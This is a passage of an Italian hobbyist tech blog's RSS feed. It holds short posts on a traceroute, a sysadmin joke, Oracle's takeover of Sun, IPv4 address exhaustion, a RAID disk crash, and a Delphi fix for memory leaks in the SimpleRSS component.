traceroute to 194.71.107.16 (194.71.107.16), 30 hops max, 40 byte packets
1  * * *
2  host29-34-static.42-88-b.business.telecomitalia.it (88.42.34.29)  60.772 ms  64.545 ms  68.029 ms
3  r-mi225-vl19.opb.interbusiness.it (80.20.7.12)  71.995 ms  75.204 ms  78.932 ms
4  crs-mi004-r-mi225.opb.interbusiness.it (151.99.99.61)  82.431 ms  85.586 ms  89.882 ms
5  172.17.6.121 (172.17.6.121)  93.836 ms  97.007 ms  100.976 ms
6  mil50-ibs-resid-7.mil.seabone.net (195.22.192.29)  105.747 ms  47.967 ms  48.596 ms
7  decix-fra52-racc3.fra.seabone.net (195.22.211.205)  70.062 ms  69.409 ms  69.346 ms
8  xe-1-2-0.mpr1.fra4.de.above.net (80.81.194.26)  160.112 ms  160.854 ms  161.201 ms
9  xe-0-0-0.mpr1.fra3.de.above.net (64.125.31.217)  163.505 ms  163.483 ms  163.484 ms
10  xe-4-1-0.mpr1.ams1.nl.above.net (64.125.24.9)  167.147 ms  165.154 ms  165.974 ms
</pre><img src="http://www.cuore.org/?ak_action=api_record_view&id=1221&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/censura-di-stato/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Dialogo tra informatici</title>
		<link>http://www.cuore.org/dialogo-tra-informatici/</link>
		<comments>http://www.cuore.org/dialogo-tra-informatici/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 22:51:52 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[bofh]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[rofl]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1207</guid>
		<description><![CDATA[newbie: Come faccio a cercare su tutta internet una parola?
mainman: wget 255.255.255.255 &#124; grep parola]]></description>
			<content:encoded><![CDATA[<p><strong>newbie</strong>: <em>Come faccio a cercare su tutta internet una parola?</em><br />
<strong>mainman</strong>: <em>wget 255.255.255.255 | grep parola</em></p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1207&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/dialogo-tra-informatici/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>La fine di un&#8217;era&#8230;</title>
		<link>http://www.cuore.org/la-fine-di-un-era/</link>
		<comments>http://www.cuore.org/la-fine-di-un-era/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 10:23:05 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[lavoratore]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[sun microsystem]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1154</guid>
		<description><![CDATA[Per questioni lavorative, tempo fa, ho messo su un nuovo servizio di Continuos Integration e per farlo mi sono appoggiato ad un software di nome Hudson.
Una caratteristica di questo software è di essere scritto in Java, fin qui niente di male (niente polemiche!!!)&#8230;
Per chi non fosse dell&#8217;ambiente java è stato sviluppato dalla Sun Microsystem (per [...]]]></description>
			<content:encoded><![CDATA[<p>Per questioni lavorative, tempo fa, ho messo su un nuovo servizio di Continuos Integration e per farlo mi sono appoggiato ad un software di nome <a href="https://hudson.dev.java.net/">Hudson</a>.<br />
Una caratteristica di questo software è di essere scritto in Java, fin qui niente di male (niente polemiche!!!)&#8230;<br />
Per chi non fosse dell&#8217;ambiente java è stato sviluppato dalla Sun Microsystem (per gli amici era Sun) una azienda molto popolare nel mondo informatico, sopratutto per i tecnici (suo è il sistema operativo solaris che girava principalmente su piattaforma <a href="http://it.wikipedia.org/wiki/SPARC">sparc</a>). Non molto tempo fa era girata la notizia che Oracle (l&#8217;azienda, non il database <img src='http://www.cuore.org/wp-includes/images/smilies/3.gif' alt=';)' class='wp-smiley' />  avevo <a href="http://punto-informatico.it/2605228/PI/News/oracle-compra-sun-affare-fatto.aspx">comprato</a> Sun Microsystem.<br />
Per riprendere il discorso (che stavo sbrodolando qui e la), insomma l&#8217;altro giorno dopo l&#8217;ennessimo upgrade di Hudson anzichè il classico logo (del signore con i <a href="http://blogs.sun.com/theaquarium/resource/hudson-250_268px.png" target="_blank" rel="lightbox[1154]">baffetti</a>) mi ritrovo questo:</p>
<p style="text-align: center;"><a href="http://www.cuore.org/wp-content/uploads/2010/02/rip.jpg" rel="lightbox[1154]"><img class="size-medium wp-image-1153 aligncenter" src="http://www.cuore.org/wp-content/uploads/2010/02/rip-300x234.jpg" border="0" alt="SUN RIP" /></a></p>
<p>Al che, un pò preoccupato con tutti i colleghi ci siamo chiesti cosa stesse succedendo&#8230; da qualche ricerca qui e la si è concluso che ormai Sun non esiste più, e il messaggio è stato chiaro, aprendo<a href="http://www.sun.com/" target="_blank"> www.sun.com</a> compare il sito di oracle.</p>
<p>E proprio la fine di un&#8217;era&#8230;</p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1154&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/la-fine-di-un-era/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cacciavite</title>
		<link>http://www.cuore.org/cacciavite/</link>
		<comments>http://www.cuore.org/cacciavite/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 13:11:51 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[lavoratore]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[citazioni]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1143</guid>
		<description><![CDATA[


Questo cacciavite non funziona!


&#8211; Mainman]]></description>
			<content:encoded><![CDATA[<div>
<p><img class="aligncenter size-full wp-image-1142" title="cacciavite" src="http://www.cuore.org/wp-content/uploads/2010/02/cacciavite.jpg" alt="" width="288" height="192" /></p>
<blockquote>
<p style="text-align: center;">Questo cacciavite non funziona!</p>
</blockquote>
</div>
<p style="text-align: right;">&#8211; Mainman</p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1143&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/cacciavite/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mamma non ci sono più IP per colazione!!!</title>
		<link>http://www.cuore.org/mamma-non-ci-sono-piu-ip-per-colazione/</link>
		<comments>http://www.cuore.org/mamma-non-ci-sono-piu-ip-per-colazione/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 11:23:12 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[indirizzi]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[passione]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1128</guid>
		<description><![CDATA[L&#8217;altro giorno leggevo sul blog di Emiliano Bruni un interessante articolo sulla carenza degli indirizzi IP.
Ma andiamo per gradi, che cos&#8217;è un indirizzo IP!?!? Per citare Wikipedia (si per ora Tanenbaum lasciamolo tranquillo)
Un Indirizzo IP è un numero che identifica univocamente un dispositivo collegato a una rete informatica che comunica utilizzando lo standard IP (Internet [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1135" title="IPv4-Address-Space-300x219" src="http://www.cuore.org/wp-content/uploads/2010/01/IPv4-Address-Space-300x219.png" alt="" width="300" height="219" />L&#8217;altro giorno leggevo sul blog di <a href="http://blog.ebruni.it/blog/" target="_blank">Emiliano Bruni</a> un interessante <a href="http://blog.ebruni.it/blog/2010/01/indirizzi-ipv4-siamo-agli-sgoccioli.html" target="_blank">articolo</a> sulla carenza degli indirizzi <acronym title="Internet Protocol">IP</acronym>.</p>
<p>Ma andiamo per gradi, che cos&#8217;è un indirizzo <acronym title="Internet Protocol">IP</acronym>!?!? Per citare Wikipedia (si per ora <a href="http://it.wikipedia.org/wiki/Andrew_Stuart_Tanenbaum" target="_blank">Tanenbaum</a> lasciamolo tranquillo)</p>
<blockquote><p>Un <strong>Indirizzo <acronym title="Internet Protocol">IP</acronym></strong> è un numero che identifica univocamente un dispositivo collegato a una <a title="Rete informatica" href="http://it.wikipedia.org/wiki/Rete_informatica" target="_blank">rete informatica</a> che comunica utilizzando lo standard <acronym title="Internet Protocol">IP</acronym> (<a title="Internet Protocol" href="http://it.wikipedia.org/wiki/Internet_Protocol" target="_blank">Internet Protocol</a>).</p></blockquote>
<p>Per farla semplice, possiamo paragonare un indirizzo <acronym title="Internet Protocol">IP</acronym> ad un numero di telefono, se da casa mia voglio chiamare qualcuno per parlarci dovrò conoscere il suo numero di telefono, e su internet succede esattamente lo stesso solo che è un pò &#8220;nascosto&#8221; alla vista degli utenti&#8230; ma la logica è questa, semplice no?</p>
<p>Il problema nasce quando i numeri di telefono assegnabili sono inferiori alle persone che chiedono di avere un telefono&#8230; ed è quello che sta succedendo su Internet, e recente la notizia che lo <a href="http://www.iana.org/" target="_blank">IANA</a> (Internet Assigned Numbers Authority) ha iniziato ad assegnare quelle classi che erano marcate come &#8220;NON ALLOCATE&#8221; e che venivano tenute da parte per momenti di &#8220;crisi&#8221;.<br />
Come possiamo vedere da<a href="http://www.iana.org/assignments/ipv4-address-space/" target="_blank"> questo documento</a> a gennaio 2010 e stata assegnata ad <a href="http://www.apnic.net/" target="_blank">APNIC</a> la classe 1.x.x.x ! (per la gioia degli utenti Fastweb dell&#8217;area di Milano che inizieranno ad avere collisioni&#8230; )</p>
<p>Sarà ora di accellerare il passaggio a <a href="http://it.wikipedia.org/wiki/IPv6" target="_blank">IPv6</a> e dobbiamo farlo in fretta per salvare Alice, Bob e Carl !!! <img src='http://www.cuore.org/wp-includes/images/smilies/3.gif' alt=';)' class='wp-smiley' /> </p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 141px; width: 1px; height: 1px;">
<h3 class="r"><a class="l" onmousedown="return clk(this.href,'','','res','2','','0CA0QFjAB')" href="http://www.iana.org/"><em>Internet Assigned Numbers Authority</em></a></h3>
<p><span class="std nobr"> </span></div><img src="http://www.cuore.org/?ak_action=api_record_view&id=1128&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/mamma-non-ci-sono-piu-ip-per-colazione/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Noooooooooooooooo! CrASH! :&#124;</title>
		<link>http://www.cuore.org/noooooooooooooooo-crash/</link>
		<comments>http://www.cuore.org/noooooooooooooooo-crash/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 09:36:46 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[me?!]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1056</guid>
		<description><![CDATA[Due righe veloci veloci per comunicarVi che a causa di un crash di 2 dischi del mio fidato raid5 ho perso tutte le e-mail dalle ore 06:30 del 16/12/09 alle 20:00 (circa) del 17/12/09&#8230;.
Un minuto di silenzio per ricordare i dati così prematuramente scomparsi..]]></description>
			<content:encoded><![CDATA[<p>Due righe veloci veloci per comunicarVi che a causa di un crash di 2 dischi del mio fidato raid5 ho perso tutte le e-mail dalle ore 06:30 del 16/12/09 alle 20:00 (circa) del 17/12/09&#8230;.</p>
<p>Un minuto di silenzio per ricordare i dati così prematuramente scomparsi..</p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1056&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/noooooooooooooooo-crash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SimpleRSS e Memory Leak? Fixed!</title>
		<link>http://www.cuore.org/simplerss-e-memory-leak-fixed/</link>
		<comments>http://www.cuore.org/simplerss-e-memory-leak-fixed/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 16:03:56 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[delphi]]></category>
		<category><![CDATA[developing]]></category>
		<category><![CDATA[Feed RSS]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[simplerss]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1040</guid>
		<description><![CDATA[Qualche giorno fa cercavo su internet un componente per delphi che mi facesse un bel parsing dei Feed RSS e mi creasse tutto quello di cui avevo bisogno senza sbattermi ad interpretare tutti i tag XML&#8230;
La risposta è stata SimpleRSS!! era proprio quello che cercavo, purtroppo non è perfetto, il codice è fermo al 2005 [...]]]></description>
			<content:encoded><![CDATA[<p>Qualche giorno fa cercavo su internet un componente per delphi che mi facesse un bel parsing dei Feed <acronym title="Really Simple Syndication">RSS</acronym> e mi creasse tutto quello di cui avevo bisogno senza sbattermi ad interpretare tutti i tag <acronym title="eXtensible Markup Language">XML</acronym>&#8230;<br />
La risposta è stata <a href="http://simplerss.sourceforge.net/" target="_blank">SimpleRSS</a>!! era proprio quello che cercavo, purtroppo non è perfetto, il codice è fermo al 2005 ed inoltre dopo un piccolo test nel programma &#8220;test.exe&#8221; (:P) e un bel passaggio alla <a href="http://sourceforge.net/projects/fastmm/" target="_blank">FastMM4</a> ha rivelato una serie di leak non indifferenti, ecco l&#8217;output:</p>
<p>test.exe: Rilevato leak della memoria<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
L&#8217;applicazione ha dei leak di memoria. I leak di piccoli blocchi sono (sono esclusi i leak attesi registrati da puntatori):</p>
<p>1 &#8211; 12 byte: TiTunesCategory x 69, TSimpleParserRSS x 3, TIdThreadSafeInteger x 1, AnsiString x 69<br />
13 &#8211; 20 byte: TiTunesDuration x 69, TRSSAuthor x 69, TRSSItemSource x 69, TRSSItemGUID x 69, TRSSItemEnclosure x 69, TRFC822DateTime x 69, TList x 138, AnsiString x 69, Sconosciuta x 69<br />
21 &#8211; 28 byte: TRSSItemCategory x 69, TiTunesKeywords x 69, TRSSItemCategories x 69, TIdCriticalSection x 2<br />
29 &#8211; 36 byte: TiTunesItemExtra x 69<br />
37 &#8211; 44 byte: AnsiString x 69<br />
45 &#8211; 52 byte: AnsiString x 69</p>
<p>Nota: Per ottenere un file di log contenente i dettagli sui leak della memoria, abilitate le direttive condizionali &#8220;FullDebugMode&#8221; e &#8220;LogMemoryLeakDetailToFile&#8221;. Per disabilitare i controlli dei leak della memoria, non definire la direttiva &#8220;EnableMemoryLeakReporting&#8221;.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Tantini è? se teniamo conto conto che in genere un Feed <acronym title="Really Simple Syndication">RSS</acronym> ogni tanto va anche aggiornato tutti questi errori si motiplicano!!</p>
<p>Preso bene da questo lavoro mi sono armato di debug e pazienza e mi sono messo alla ricerca dei leak perduti&#8230;</p>
<p>Il primo grosso problema era dovuto alla creazione di una serie di oggetti nel file SimpleRSSTypes.pas, in pratica tutto ciò che riguardava iTunes veniva creato ed allocato ma non esisteva il distruttore che eliminasse quanto allocato in precedenza, quindi ho risolto  con una bel override del distruttore e dove facevo il free delle risorse:</p>
<pre>destructor TRSSItem.Destroy;
begin
  FCategory.Free;
  FPubDate.Free;
  FEnclosure.Free;
  FGUID.Free;
  FSource.Free;
  FAuthor.Free;
  FiTunes.Free;
  inherited;
end;</pre>
<p>Fatto questo rimanevano soltanto il leak del  TSimpleParserRSS (oltre ai due intrinsechi delle Indy che per ora non tratterò), in questo caso il bug era nel file SimpleRSS.pas, in due punti si assegnava appunto TSimpleParserRSS a aParser ma finito il suo lavoro non veniva liberato, ho risolto con un blocco Try Finally tipo questo:</p>
<pre>finally
  aParser.Free;
end;</pre>
<p>Questo risolveva i problemi di leak, rimanevano due bugfix da fare per permettere la compilazione, ovvero l&#8217;inclusione della unit IdGlobalProtocols in SimpleRSSTypes.pas per permettere di risolvere la funzione StrInternetToDateTime() che altrimenti non veniva trovata.</p>
<p>Qui <a href="../wp-content/uploads/2009/12/bugfix.diff">bugfix.diff</a> e possibile scaricare il diff (fatto da linux) delle modifiche che ho apportato&#8230;<br />
Mentre qui <a href="http://www.cuore.org/wp-content/uploads/2009/12/SimpleRSS_fixed.tar.gz">SimpleRSS_fixed.tar</a> è possibile tutto il l&#8217;archivio completo già corretto, prossimamente vedrò di pubblicarlo nella sezione &#8220;<a href="http://www.cuore.org/code/">code</a>&#8221; <img src='http://www.cuore.org/wp-includes/images/smilies/1.gif' alt=':)' class='wp-smiley' /> <span style="color: #000000;"><span style="font-family: Georgia,&quot;Times New Roman&quot;,&quot;Bitstream Charter&quot;,Times,serif;"><br />
</span></span></p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1040&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/simplerss-e-memory-leak-fixed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
